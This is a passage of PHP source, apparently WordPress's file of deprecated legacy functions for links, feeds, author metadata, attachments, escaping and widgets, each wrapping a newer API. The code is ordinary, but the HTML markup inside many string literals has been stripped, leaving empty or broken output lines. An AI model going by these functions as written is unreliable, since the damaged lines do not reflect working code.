$row->link_description, $row->link_id, 'display')); $name = esc_attr(sanitize_bookmark_field('link_name', $row->link_name, $row->link_id, 'display')); $title = $desc; if ( $show_updated ) if ( !str_starts_with($row->link_updated_f, '00') ) $title .= ' ('.__('Last updated') . ' ' . gmdate(get_option('links_updated_date_format'), $row->link_updated_f + (get_option('gmt_offset') * HOUR_IN_SECONDS)) . ')'; if ( '' != $title ) $title = ' title="' . $title . '"'; $alt = ' alt="' . $name . '"'; $target = $row->link_target; if ( '' != $target ) $target = ' target="' . $target . '"'; $output .= ''; if ( '' != $row->link_image && $show_images ) { if ( str_contains( $row->link_image, 'http' ) ) $output .= ''; else // If it's a relative path. $output .= ''; } else { $output .= $name; } $output .= ''; if ( $show_updated && $row->recently_updated ) $output .= get_option('links_recently_updated_append'); if ( $show_description && '' != $desc ) $output .= $between . $desc; if ($show_rating) { $output .= $between . get_linkrating($row); } $output .= "$after\n"; } // End while. if ( !$display ) return $output; echo $output; } /** * Output entire list of links by category. * * Output a list of all links, listed by category, using the settings in * $wpdb->linkcategories and output it as a nested HTML unordered list. * * @since 1.0.1 * @deprecated 2.1.0 Use wp_list_bookmarks() * @see wp_list_bookmarks() * * @param string $order Sort link categories by 'name' or 'id' */ function get_links_list($order = 'name') { _deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_bookmarks()' ); $order = strtolower($order); // Handle link category sorting. $direction = 'ASC'; if ( str_starts_with( $order, '_' ) ) { $direction = 'DESC'; $order = substr($order,1); } if ( !isset($direction) ) $direction = ''; $cats = get_categories(array('type' => 'link', 'orderby' => $order, 'order' => $direction, 'hierarchical' => 0)); // Display each category. if ( $cats ) { foreach ( (array) $cats as $cat ) { // Handle each category. // Display the category name. echo '
  • ' . apply_filters('link_category', $cat->name ) . "

    \n\t
      \n"; // Call get_links() with all the appropriate params. get_links($cat->term_id, '
    • ', "
    • ", "\n", true, 'name', false); // Close the last category. echo "\n\t
    \n
  • \n"; } } } /** * Show the link to the links popup and the number of links. * * @since 0.71 * @deprecated 2.1.0 * * @param string $text the text of the link * @param int $width the width of the popup window * @param int $height the height of the popup window * @param string $file the page to open in the popup window * @param bool $count the number of links in the db */ function links_popup_script($text = 'Links', $width=400, $height=400, $file='links.all.php', $count = true) { _deprecated_function( __FUNCTION__, '2.1.0' ); } /** * Legacy function that retrieved the value of a link's link_rating field. * * @since 1.0.1 * @deprecated 2.1.0 Use sanitize_bookmark_field() * @see sanitize_bookmark_field() * * @param object $link Link object. * @return mixed Value of the 'link_rating' field, false otherwise. */ function get_linkrating( $link ) { _deprecated_function( __FUNCTION__, '2.1.0', 'sanitize_bookmark_field()' ); return sanitize_bookmark_field('link_rating', $link->link_rating, $link->link_id, 'display'); } /** * Gets the name of category by ID. * * @since 0.71 * @deprecated 2.1.0 Use get_category() * @see get_category() * * @param int $id The category to get. If no category supplied uses 0 * @return string */ function get_linkcatname($id = 0) { _deprecated_function( __FUNCTION__, '2.1.0', 'get_category()' ); $id = (int) $id; if ( empty($id) ) return ''; $cats = wp_get_link_cats($id); if ( empty($cats) || ! is_array($cats) ) return ''; $cat_id = (int) $cats[0]; // Take the first cat. $cat = get_category($cat_id); return $cat->name; } /** * Print RSS comment feed link. * * @since 1.0.1 * @deprecated 2.5.0 Use post_comments_feed_link() * @see post_comments_feed_link() * * @param string $link_text */ function comments_rss_link($link_text = 'Comments RSS') { _deprecated_function( __FUNCTION__, '2.5.0', 'post_comments_feed_link()' ); post_comments_feed_link($link_text); } /** * Print/Return link to category RSS2 feed. * * @since 1.2.0 * @deprecated 2.5.0 Use get_category_feed_link() * @see get_category_feed_link() * * @param bool $display * @param int $cat_id * @return string */ function get_category_rss_link($display = false, $cat_id = 1) { _deprecated_function( __FUNCTION__, '2.5.0', 'get_category_feed_link()' ); $link = get_category_feed_link($cat_id, 'rss2'); if ( $display ) echo $link; return $link; } /** * Print/Return link to author RSS feed. * * @since 1.2.0 * @deprecated 2.5.0 Use get_author_feed_link() * @see get_author_feed_link() * * @param bool $display * @param int $author_id * @return string */ function get_author_rss_link($display = false, $author_id = 1) { _deprecated_function( __FUNCTION__, '2.5.0', 'get_author_feed_link()' ); $link = get_author_feed_link($author_id); if ( $display ) echo $link; return $link; } /** * Return link to the post RSS feed. * * @since 1.5.0 * @deprecated 2.2.0 Use get_post_comments_feed_link() * @see get_post_comments_feed_link() * * @return string */ function comments_rss() { _deprecated_function( __FUNCTION__, '2.2.0', 'get_post_comments_feed_link()' ); return esc_url( get_post_comments_feed_link() ); } /** * An alias of wp_create_user(). * * @since 2.0.0 * @deprecated 2.0.0 Use wp_create_user() * @see wp_create_user() * * @param string $username The user's username. * @param string $password The user's password. * @param string $email The user's email. * @return int The new user's ID. */ function create_user($username, $password, $email) { _deprecated_function( __FUNCTION__, '2.0.0', 'wp_create_user()' ); return wp_create_user($username, $password, $email); } /** * Unused function. * * @deprecated 2.5.0 */ function gzip_compression() { _deprecated_function( __FUNCTION__, '2.5.0' ); return false; } /** * Retrieve an array of comment data about comment $comment_id. * * @since 0.71 * @deprecated 2.7.0 Use get_comment() * @see get_comment() * * @param int $comment_id The ID of the comment * @param int $no_cache Whether to use the cache (cast to bool) * @param bool $include_unapproved Whether to include unapproved comments * @return array The comment data */ function get_commentdata( $comment_id, $no_cache = 0, $include_unapproved = false ) { _deprecated_function( __FUNCTION__, '2.7.0', 'get_comment()' ); return get_comment($comment_id, ARRAY_A); } /** * Retrieve the category name by the category ID. * * @since 0.71 * @deprecated 2.8.0 Use get_cat_name() * @see get_cat_name() * * @param int $cat_id Category ID * @return string category name */ function get_catname( $cat_id ) { _deprecated_function( __FUNCTION__, '2.8.0', 'get_cat_name()' ); return get_cat_name( $cat_id ); } /** * Retrieve category children list separated before and after the term IDs. * * @since 1.2.0 * @deprecated 2.8.0 Use get_term_children() * @see get_term_children() * * @param int $id Category ID to retrieve children. * @param string $before Optional. Prepend before category term ID. Default '/'. * @param string $after Optional. Append after category term ID. Default empty string. * @param array $visited Optional. Category Term IDs that have already been added. * Default empty array. * @return string */ function get_category_children( $id, $before = '/', $after = '', $visited = array() ) { _deprecated_function( __FUNCTION__, '2.8.0', 'get_term_children()' ); if ( 0 == $id ) return ''; $chain = ''; /** TODO: Consult hierarchy */ $cat_ids = get_all_category_ids(); foreach ( (array) $cat_ids as $cat_id ) { if ( $cat_id == $id ) continue; $category = get_category( $cat_id ); if ( is_wp_error( $category ) ) return $category; if ( $category->parent == $id && !in_array( $category->term_id, $visited ) ) { $visited[] = $category->term_id; $chain .= $before.$category->term_id.$after; $chain .= get_category_children( $category->term_id, $before, $after ); } } return $chain; } /** * Retrieves all category IDs. * * @since 2.0.0 * @deprecated 4.0.0 Use get_terms() * @see get_terms() * * @link https://developer.wordpress.org/reference/functions/get_all_category_ids/ * * @return int[] List of all of the category IDs. */ function get_all_category_ids() { _deprecated_function( __FUNCTION__, '4.0.0', 'get_terms()' ); $cat_ids = get_terms( array( 'taxonomy' => 'category', 'fields' => 'ids', 'get' => 'all', ) ); return $cat_ids; } /** * Retrieve the description of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The author's description. */ function get_the_author_description() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'description\')' ); return get_the_author_meta('description'); } /** * Display the description of the author of the current post. * * @since 1.0.0 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function the_author_description() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'description\')' ); the_author_meta('description'); } /** * Retrieve the login name of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The author's login name (username). */ function get_the_author_login() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'login\')' ); return get_the_author_meta('login'); } /** * Display the login name of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function the_author_login() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'login\')' ); the_author_meta('login'); } /** * Retrieve the first name of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The author's first name. */ function get_the_author_firstname() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'first_name\')' ); return get_the_author_meta('first_name'); } /** * Display the first name of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function the_author_firstname() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'first_name\')' ); the_author_meta('first_name'); } /** * Retrieve the last name of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The author's last name. */ function get_the_author_lastname() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'last_name\')' ); return get_the_author_meta('last_name'); } /** * Display the last name of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function the_author_lastname() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'last_name\')' ); the_author_meta('last_name'); } /** * Retrieve the nickname of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The author's nickname. */ function get_the_author_nickname() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'nickname\')' ); return get_the_author_meta('nickname'); } /** * Display the nickname of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function the_author_nickname() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'nickname\')' ); the_author_meta('nickname'); } /** * Retrieve the email of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The author's username. */ function get_the_author_email() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'email\')' ); return get_the_author_meta('email'); } /** * Display the email of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function the_author_email() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'email\')' ); the_author_meta('email'); } /** * Retrieve the ICQ number of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The author's ICQ number. */ function get_the_author_icq() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'icq\')' ); return get_the_author_meta('icq'); } /** * Display the ICQ number of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function the_author_icq() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'icq\')' ); the_author_meta('icq'); } /** * Retrieve the Yahoo! IM name of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The author's Yahoo! IM name. */ function get_the_author_yim() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'yim\')' ); return get_the_author_meta('yim'); } /** * Display the Yahoo! IM name of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function the_author_yim() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'yim\')' ); the_author_meta('yim'); } /** * Retrieve the MSN address of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The author's MSN address. */ function get_the_author_msn() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'msn\')' ); return get_the_author_meta('msn'); } /** * Display the MSN address of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function the_author_msn() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'msn\')' ); the_author_meta('msn'); } /** * Retrieve the AIM address of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The author's AIM address. */ function get_the_author_aim() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'aim\')' ); return get_the_author_meta('aim'); } /** * Display the AIM address of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta('aim') * @see the_author_meta() */ function the_author_aim() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'aim\')' ); the_author_meta('aim'); } /** * Retrieve the specified author's preferred display name. * * @since 1.0.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @param int $auth_id The ID of the author. * @return string The author's display name. */ function get_author_name( $auth_id = false ) { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'display_name\')' ); return get_the_author_meta('display_name', $auth_id); } /** * Retrieve the URL to the home page of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string The URL to the author's page. */ function get_the_author_url() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'url\')' ); return get_the_author_meta('url'); } /** * Display the URL to the home page of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function the_author_url() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'url\')' ); the_author_meta('url'); } /** * Retrieve the ID of the author of the current post. * * @since 1.5.0 * @deprecated 2.8.0 Use get_the_author_meta() * @see get_the_author_meta() * * @return string|int The author's ID. */ function get_the_author_ID() { _deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'ID\')' ); return get_the_author_meta('ID'); } /** * Display the ID of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function the_author_ID() { _deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'ID\')' ); the_author_meta('ID'); } /** * Display the post content for the feed. * * For encoding the HTML or the $encode_html parameter, there are three possible values: * - '0' will make urls footnotes and use make_url_footnote(). * - '1' will encode special characters and automatically display all of the content. * - '2' will strip all HTML tags from the content. * * Also note that you cannot set the amount of words and not set the HTML encoding. * If that is the case, then the HTML encoding will default to 2, which will strip * all HTML tags. * * To restrict the amount of words of the content, you can use the cut parameter. * If the content is less than the amount, then there won't be any dots added to the end. * If there is content left over, then dots will be added and the rest of the content * will be removed. * * @since 0.71 * * @deprecated 2.9.0 Use the_content_feed() * @see the_content_feed() * * @param string $more_link_text Optional. Text to display when more content is available * but not displayed. Default '(more...)'. * @param int $stripteaser Optional. Default 0. * @param string $more_file Optional. * @param int $cut Optional. Amount of words to keep for the content. * @param int $encode_html Optional. How to encode the content. */ function the_content_rss($more_link_text='(more...)', $stripteaser=0, $more_file='', $cut = 0, $encode_html = 0) { _deprecated_function( __FUNCTION__, '2.9.0', 'the_content_feed()' ); $content = get_the_content($more_link_text, $stripteaser); /** * Filters the post content in the context of an RSS feed. * * @since 0.71 * * @param string $content Content of the current post. */ $content = apply_filters('the_content_rss', $content); if ( $cut && !$encode_html ) $encode_html = 2; if ( 1== $encode_html ) { $content = esc_html($content); $cut = 0; } elseif ( 0 == $encode_html ) { $content = make_url_footnote($content); } elseif ( 2 == $encode_html ) { $content = strip_tags($content); } if ( $cut ) { $blah = explode(' ', $content); if ( count($blah) > $cut ) { $k = $cut; $use_dotdotdot = 1; } else { $k = count($blah); $use_dotdotdot = 0; } /** @todo Check performance, might be faster to use array slice instead. */ for ( $i=0; $i<$k; $i++ ) $excerpt .= $blah[$i].' '; $excerpt .= ($use_dotdotdot) ? '...' : ''; $content = $excerpt; } $content = str_replace(']]>', ']]>', $content); echo $content; } /** * Strip HTML and put links at the bottom of stripped content. * * Searches for all of the links, strips them out of the content, and places * them at the bottom of the content with numbers. * * @since 0.71 * @deprecated 2.9.0 * * @param string $content Content to get links. * @return string HTML stripped out of content with links at the bottom. */ function make_url_footnote( $content ) { _deprecated_function( __FUNCTION__, '2.9.0', '' ); preg_match_all( '/(.+?)<\/a>/', $content, $matches ); $links_summary = "\n"; for ( $i = 0, $c = count( $matches[0] ); $i < $c; $i++ ) { $link_match = $matches[0][$i]; $link_number = '['.($i+1).']'; $link_url = $matches[2][$i]; $link_text = $matches[4][$i]; $content = str_replace( $link_match, $link_text . ' ' . $link_number, $content ); $link_url = ( ( strtolower( substr( $link_url, 0, 7 ) ) !== 'http://' ) && ( strtolower( substr( $link_url, 0, 8 ) ) !== 'https://' ) ) ? get_option( 'home' ) . $link_url : $link_url; $links_summary .= "\n" . $link_number . ' ' . $link_url; } $content = strip_tags( $content ); $content .= $links_summary; return $content; } /** * Retrieve translated string with vertical bar context * * Quite a few times, there will be collisions with similar translatable text * found in more than two places but with different translated context. * * In order to use the separate contexts, the _c() function is used and the * translatable string uses a pipe ('|') which has the context the string is in. * * When the translated string is returned, it is everything before the pipe, not * including the pipe character. If there is no pipe in the translated text then * everything is returned. * * @since 2.2.0 * @deprecated 2.9.0 Use _x() * @see _x() * * @param string $text Text to translate. * @param string $domain Optional. Domain to retrieve the translated text. * @return string Translated context string without pipe. */ function _c( $text, $domain = 'default' ) { _deprecated_function( __FUNCTION__, '2.9.0', '_x()' ); return before_last_bar( translate( $text, $domain ) ); } /** * Translates $text like translate(), but assumes that the text * contains a context after its last vertical bar. * * @since 2.5.0 * @deprecated 3.0.0 Use _x() * @see _x() * * @param string $text Text to translate. * @param string $domain Domain to retrieve the translated text. * @return string Translated text. */ function translate_with_context( $text, $domain = 'default' ) { _deprecated_function( __FUNCTION__, '2.9.0', '_x()' ); return before_last_bar( translate( $text, $domain ) ); } /** * Legacy version of _n(), which supports contexts. * * Strips everything from the translation after the last bar. * * @since 2.7.0 * @deprecated 3.0.0 Use _nx() * @see _nx() * * @param string $single The text to be used if the number is singular. * @param string $plural The text to be used if the number is plural. * @param int $number The number to compare against to use either the singular or plural form. * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings. * Default 'default'. * @return string The translated singular or plural form. */ function _nc( $single, $plural, $number, $domain = 'default' ) { _deprecated_function( __FUNCTION__, '2.9.0', '_nx()' ); return before_last_bar( _n( $single, $plural, $number, $domain ) ); } /** * Retrieve the plural or single form based on the amount. * * @since 1.2.0 * @deprecated 2.8.0 Use _n() * @see _n() */ function __ngettext( ...$args ) { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore _deprecated_function( __FUNCTION__, '2.8.0', '_n()' ); return _n( ...$args ); } /** * Register plural strings in POT file, but don't translate them. * * @since 2.5.0 * @deprecated 2.8.0 Use _n_noop() * @see _n_noop() */ function __ngettext_noop( ...$args ) { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore _deprecated_function( __FUNCTION__, '2.8.0', '_n_noop()' ); return _n_noop( ...$args ); } /** * Retrieve all autoload options, or all options if no autoloaded ones exist. * * @since 1.0.0 * @deprecated 3.0.0 Use wp_load_alloptions()) * @see wp_load_alloptions() * * @return array List of all options. */ function get_alloptions() { _deprecated_function( __FUNCTION__, '3.0.0', 'wp_load_alloptions()' ); return wp_load_alloptions(); } /** * Retrieve HTML content of attachment image with link. * * @since 2.0.0 * @deprecated 2.5.0 Use wp_get_attachment_link() * @see wp_get_attachment_link() * * @param int $id Optional. Post ID. * @param bool $fullsize Optional. Whether to use full size image. Default false. * @param array $max_dims Optional. Max image dimensions. * @param bool $permalink Optional. Whether to include permalink to image. Default false. * @return string */ function get_the_attachment_link($id = 0, $fullsize = false, $max_dims = false, $permalink = false) { _deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_link()' ); $id = (int) $id; $_post = get_post($id); if ( ('attachment' != $_post->post_type) || !$url = wp_get_attachment_url($_post->ID) ) return __('Missing Attachment'); if ( $permalink ) $url = get_attachment_link($_post->ID); $post_title = esc_attr($_post->post_title); $innerHTML = get_attachment_innerHTML($_post->ID, $fullsize, $max_dims); return "
    $innerHTML"; } /** * Retrieve icon URL and Path. * * @since 2.1.0 * @deprecated 2.5.0 Use wp_get_attachment_image_src() * @see wp_get_attachment_image_src() * * @param int $id Optional. Post ID. * @param bool $fullsize Optional. Whether to have full image. Default false. * @return array Icon URL and full path to file, respectively. */ function get_attachment_icon_src( $id = 0, $fullsize = false ) { _deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image_src()' ); $id = (int) $id; if ( !$post = get_post($id) ) return false; $file = get_attached_file( $post->ID ); if ( !$fullsize && $src = wp_get_attachment_thumb_url( $post->ID ) ) { // We have a thumbnail desired, specified and existing. $src_file = wp_basename($src); } elseif ( wp_attachment_is_image( $post->ID ) ) { // We have an image without a thumbnail. $src = wp_get_attachment_url( $post->ID ); $src_file = & $file; } elseif ( $src = wp_mime_type_icon( $post->ID, '.svg' ) ) { // No thumb, no image. We'll look for a mime-related icon instead. /** This filter is documented in wp-includes/post.php */ $icon_dir = apply_filters( 'icon_dir', get_template_directory() . '/images' ); $src_file = $icon_dir . '/' . wp_basename($src); } if ( !isset($src) || !$src ) return false; return array($src, $src_file); } /** * Retrieve HTML content of icon attachment image element. * * @since 2.0.0 * @deprecated 2.5.0 Use wp_get_attachment_image() * @see wp_get_attachment_image() * * @param int $id Optional. Post ID. * @param bool $fullsize Optional. Whether to have full size image. Default false. * @param array $max_dims Optional. Dimensions of image. * @return string|false HTML content. */ function get_attachment_icon( $id = 0, $fullsize = false, $max_dims = false ) { _deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image()' ); $id = (int) $id; if ( !$post = get_post($id) ) return false; if ( !$src = get_attachment_icon_src( $post->ID, $fullsize ) ) return false; list($src, $src_file) = $src; // Do we need to constrain the image? if ( ($max_dims = apply_filters('attachment_max_dims', $max_dims)) && file_exists($src_file) ) { $imagesize = wp_getimagesize($src_file); if (($imagesize[0] > $max_dims[0]) || $imagesize[1] > $max_dims[1] ) { $actual_aspect = $imagesize[0] / $imagesize[1]; $desired_aspect = $max_dims[0] / $max_dims[1]; if ( $actual_aspect >= $desired_aspect ) { $height = $actual_aspect * $max_dims[0]; $constraint = "width='{$max_dims[0]}' "; $post->iconsize = array($max_dims[0], $height); } else { $width = $max_dims[1] / $actual_aspect; $constraint = "height='{$max_dims[1]}' "; $post->iconsize = array($width, $max_dims[1]); } } else { $post->iconsize = array($imagesize[0], $imagesize[1]); $constraint = ''; } } else { $constraint = ''; } $post_title = esc_attr($post->post_title); $icon = "$post_title"; return apply_filters( 'attachment_icon', $icon, $post->ID ); } /** * Retrieve HTML content of image element. * * @since 2.0.0 * @deprecated 2.5.0 Use wp_get_attachment_image() * @see wp_get_attachment_image() * * @param int $id Optional. Post ID. * @param bool $fullsize Optional. Whether to have full size image. Default false. * @param array $max_dims Optional. Dimensions of image. * @return string|false */ function get_attachment_innerHTML($id = 0, $fullsize = false, $max_dims = false) { _deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image()' ); $id = (int) $id; if ( !$post = get_post($id) ) return false; if ( $innerHTML = get_attachment_icon($post->ID, $fullsize, $max_dims)) return $innerHTML; $innerHTML = esc_attr($post->post_title); return apply_filters('attachment_innerHTML', $innerHTML, $post->ID); } /** * Retrieves bookmark data based on ID. * * @since 2.0.0 * @deprecated 2.1.0 Use get_bookmark() * @see get_bookmark() * * @param int $bookmark_id ID of link * @param string $output Optional. Type of output. Accepts OBJECT, ARRAY_N, or ARRAY_A. * Default OBJECT. * @param string $filter Optional. How to filter the link for output. Accepts 'raw', 'edit', * 'attribute', 'js', 'db', or 'display'. Default 'raw'. * @return object|array Bookmark object or array, depending on the type specified by `$output`. */ function get_link( $bookmark_id, $output = OBJECT, $filter = 'raw' ) { _deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmark()' ); return get_bookmark($bookmark_id, $output, $filter); } /** * Checks and cleans a URL. * * A number of characters are removed from the URL. If the URL is for displaying * (the default behavior) ampersands are also replaced. The 'clean_url' filter * is applied to the returned cleaned URL. * * @since 1.2.0 * @deprecated 3.0.0 Use esc_url() * @see esc_url() * * @param string $url The URL to be cleaned. * @param array $protocols Optional. An array of acceptable protocols. * @param string $context Optional. How the URL will be used. Default is 'display'. * @return string The cleaned $url after the {@see 'clean_url'} filter is applied. */ function clean_url( $url, $protocols = null, $context = 'display' ) { if ( $context == 'db' ) _deprecated_function( 'clean_url( $context = \'db\' )', '3.0.0', 'sanitize_url()' ); else _deprecated_function( __FUNCTION__, '3.0.0', 'esc_url()' ); return esc_url( $url, $protocols, $context ); } /** * Escape single quotes, specialchar double quotes, and fix line endings. * * The filter {@see 'js_escape'} is also applied by esc_js(). * * @since 2.0.4 * @deprecated 2.8.0 Use esc_js() * @see esc_js() * * @param string $text The text to be escaped. * @return string Escaped text. */ function js_escape( $text ) { _deprecated_function( __FUNCTION__, '2.8.0', 'esc_js()' ); return esc_js( $text ); } /** * Legacy escaping for HTML blocks. * * @deprecated 2.8.0 Use esc_html() * @see esc_html() * * @param string $text Text to escape. * @param string $quote_style Unused. * @param false|string $charset Unused. * @param false $double_encode Whether to double encode. Unused. * @return string Escaped `$text`. */ function wp_specialchars( $text, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) { _deprecated_function( __FUNCTION__, '2.8.0', 'esc_html()' ); if ( func_num_args() > 1 ) { // Maintain back-compat for people passing additional arguments. return _wp_specialchars( $text, $quote_style, $charset, $double_encode ); } else { return esc_html( $text ); } } /** * Escaping for HTML attributes. * * @since 2.0.6 * @deprecated 2.8.0 Use esc_attr() * @see esc_attr() * * @param string $text * @return string */ function attribute_escape( $text ) { _deprecated_function( __FUNCTION__, '2.8.0', 'esc_attr()' ); return esc_attr( $text ); } /** * Register widget for sidebar with backward compatibility. * * Allows $name to be an array that accepts either three elements to grab the * first element and the third for the name or just uses the first element of * the array for the name. * * Passes to wp_register_sidebar_widget() after argument list and backward * compatibility is complete. * * @since 2.2.0 * @deprecated 2.8.0 Use wp_register_sidebar_widget() * @see wp_register_sidebar_widget() * * @param string|int $name Widget ID. * @param callable $output_callback Run when widget is called. * @param string $classname Optional. Classname widget option. Default empty. * @param mixed ...$params Widget parameters. */ function register_sidebar_widget($name, $output_callback, $classname = '', ...$params) { _deprecated_function( __FUNCTION__, '2.8.0', 'wp_register_sidebar_widget()' ); // Compat. if ( is_array( $name ) ) { if ( count( $name ) === 3 ) { $name = sprintf( $name[0], $name[2] ); } else { $name = $name[0]; } } $id = sanitize_title( $name ); $options = array(); if ( ! empty( $classname ) && is_string( $classname ) ) { $options['classname'] = $classname; } wp_register_sidebar_widget( $id, $name, $output_callback, $options, ...$params ); } /** * Serves as an alias of wp_unregister_sidebar_widget(). * * @since 2.2.0 * @deprecated 2.8.0 Use wp_unregister_sidebar_widget() * @see wp_unregister_sidebar_widget() * * @param int|string $id Widget ID. */ function unregister_sidebar_widget($id) { _deprecated_function( __FUNCTION__, '2.8.0', 'wp_unregister_sidebar_widget()' ); return wp_unregister_sidebar_widget($id); } /** * Registers widget control callback for customizing options. * * Allows $name to be an array that accepts either three elements to grab the * first element and the third for the name or just uses the first element of * the array for the name. * * Passes to wp_register_widget_control() after the argument list has * been compiled. * * @since 2.2.0 * @deprecated 2.8.0 Use wp_register_widget_control() * @see wp_register_widget_control() * * @param int|string $name Sidebar ID. * @param callable $control_callback Widget control callback to display and process form. * @param int $width Widget width. * @param int $height Widget height. * @param mixed ...$params Widget parameters. */ function register_widget_control($name, $control_callback, $width = '', $height = '', ...$params) { _deprecated_function( __FUNCTION__, '2.8.0', 'wp_register_widget_control()' ); // Compat. if ( is_array( $name ) ) { if ( count( $name ) === 3 ) { $name = sprintf( $name[0], $name[2] ); } else { $name = $name[0]; } } $id = sanitize_title( $name ); $options = array(); if ( ! empty( $width ) ) { $options['width'] = $width; } if ( ! empty( $height ) ) { $options['height'] = $height; } wp_register_widget_control( $id, $name, $control_callback, $options, ...$params ); } /** * Alias of wp_unregister_widget_control(). * * @since 2.2.0 * @deprecated 2.8.0 Use wp_unregister_widget_control() * @see wp_unregister_widget_control() * * @param int|string $id Widget ID. */ function unregister_widget_control($id) { _deprecated_function( __FUNCTION__, '2.8.0', 'wp_unregister_widget_control()' ); return wp_unregister_widget_control($id); } /** * Remove user meta data. * * @since 2.0.0 * @deprecated 3.0.0 Use delete_user_meta() * @see delete_user_meta() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $user_id User ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Optional. Metadata value. Default empty. * @return bool True deletion completed and false if user_id is not a number. */ function delete_usermeta( $user_id, $meta_key, $meta_value = '' ) { _deprecated_function( __FUNCTION__, '3.0.0', 'delete_user_meta()' ); global $wpdb; if ( !is_numeric( $user_id ) ) return false; $meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key); if ( is_array($meta_value) || is_object($meta_value) ) $meta_value = serialize($meta_value); $meta_value = trim( $meta_value ); $cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) ); if ( $cur && $cur->umeta_id ) do_action( 'delete_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value ); if ( ! empty($meta_value) ) $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s AND meta_value = %s", $user_id, $meta_key, $meta_value) ); else $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) ); clean_user_cache( $user_id ); wp_cache_delete( $user_id, 'user_meta' ); if ( $cur && $cur->umeta_id ) do_action( 'deleted_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value ); return true; } /** * Retrieve user 